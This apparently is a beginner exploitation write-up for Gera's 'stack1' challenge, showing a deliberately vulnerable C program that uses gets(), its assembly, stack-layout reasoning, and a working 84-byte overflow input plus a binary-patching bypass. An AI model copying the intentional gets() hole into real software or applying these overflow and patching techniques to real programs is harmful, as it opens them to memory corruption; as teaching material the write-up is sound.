Gera has a series of "challenges" designed to help teach people the basics of exploitation. The goal is to provide some input to the program to get it to output you win!"
The code for the first one
/*
* stack1.c
* specially crafted to feed your brain by gera
*/
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x41424344)
printf("you win!\n");
}
}
At a lower level
The assembly for the above program generated by clang on FreeBSD with -O3 -fomit-frame-pointer (comments are my addition)
...
main:
pushl %esi
subl $100, %esp
leal -8(%ebp), %eax
movl %eax, 8(%esp)
leal -88(%ebp), %esi
movl %esi, 4(%esp)
movl $.L.str, (%esp)
call printf
movl %esi, (%esp)
call gets ; note that gets does not have a length argument
cmpl $1094861636, -8(%ebp)
jne .LBB0_2 ; we will come back to this
movl $str, (%esp)
call puts
.LBB0_2:
xorl %eax, %eax
addl $100, %esp
popl %esi
ret
...
Break it down
The program starts off by creating two variables: a
cookie and a fixed size buffer.
It then prints out the address of buf and cookie
Then the fun starts:
gets(3) is called to put data in buf. gets is a very insecure function. To quote the man page:
The gets() function cannot be used securely. Because of its lack of bounds checking, and the inability for the calling program to reliably determine the length of the next incoming line, the use of this function enables malicious users to arbitrarily change a running program's functionality through a buffer overflow attack.
Then we have a check to see if cookie is equal to some value. We can convert this value from an integer to printable
ascii(7) characters. 0x41is A, 0x42 is B, etc. So we want to set the cookie to "ABCD". There is one little gotcha: The machine I'm using (and most you probably are) is
little endian so we actually need to reverse the order of our text.
What should we actually do?
There is no guarantee of how C variables are stored but we can make a good guess. On my system sizeof(int) is 4 and sizeof(char) is always 1 so our stack probably looks like:
cookie most significant byte
cookie byte 2
cookie byte 3
cookie least significant byte
buf[79]
buf[78]
...
buf[0]
Lets try it!
The string we want to insert is
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxDCBA
. 80 random characters to fill the buffer and then DCBA to fill the cookie (the important part)
[eitan@ByteByte ~/gstack ]%echo $(jot -b x -s '' 80)DCBA > exploit
[eitan@ByteByte ~/gstack ]%./a.out <exploit
buf: bfbfea48 cookie: bfbfea98
you win!
A different way:
Lets say we didn't have the source and that this was some music player we wanted to (
legally)
jailbreak.
If you disassemble the file you could can change the jump address or just remove the jump altogether to avoid the check
[eitan@ByteByte ~/gstack !130!]%./a.out
buf: bfbfea48 cookie: bfbfea98
you win!
Some notes
No serious programmer uses gets anymore and real exploits are likely to be harder to create due to OpenBSD's w^x protection, gcc's stack protector, and good coding habits. This was just an intro to the art of exploitation. I plan on following with either the next warming up to the stack challenge or the "esoteric" format string vulnerabilities.
Update 12/26/10 clarified the goal of the exploit. Explained what "jot" does.